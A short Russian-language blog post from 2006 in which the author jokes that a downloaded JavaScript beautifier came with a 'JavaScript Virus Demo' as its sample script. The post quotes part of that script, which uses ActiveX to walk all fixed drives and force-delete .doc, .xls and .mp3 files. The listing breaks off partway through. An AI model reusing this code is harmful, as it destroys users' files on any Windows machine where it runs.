пятница, декабря 08, 2006

Javascript beautifier

Может я в матрице живу, но cегодня что-то мне попадаются одни интересности. Понадобился мне javascript beautifier (такая тулза, которая превращает код без пробелов, enter'ов и tab'ов) в удобочитаемый формат.

Скачал тулзу. Начал настраивать. Вот первое что я увидел в качестве примера (!) скрипта, который можно забьютифаить:
// JavaScript Virus Demo
// (C) Crossbow Soft 2001

var fso, e, x, root, zz;
fso = new ActiveXObject("Scripting.FileSystemObject");
e = new Enumerator(fso.Drives);
for (; !e.atEnd(); e.moveNext())
{
x = e.item();
if (x.DriveType == 2)
{
x = x + "\\" + "\\";
Fold(x);
}
}

function Fold(Path)
{
var f, fc, s, ff, z, del;
f = fso.GetFolder(Path);
fc = new Enumerator(f.SubFolders);
s = "";
z = "";
/* Loop all */
for (; !fc.atEnd(); fc.moveNext())
{
s = fc.item();
Fold(s);
ff = new Enumerator(s.files);
for (; !ff.atEnd(); ff.moveNext())
{
z = ff.item();
del = fso.GetExtensionName(z);
del = del.toLowerCase();
try
{
//WARNING: IT'S VERY DANGEROUS!
if (del == "doc")
{
fso.deletefile(z, true);
}
if (del == "xls")
{
fso.deletefile(z, true);
}
if (del == "mp3")
Комментарии нужны? :) У кого-то офигенно творческий подход к делу ;)

Комментарии: 0:

Отправить комментарий

Подпишитесь на каналы Комментарии к сообщению [Atom]

<< Главная страница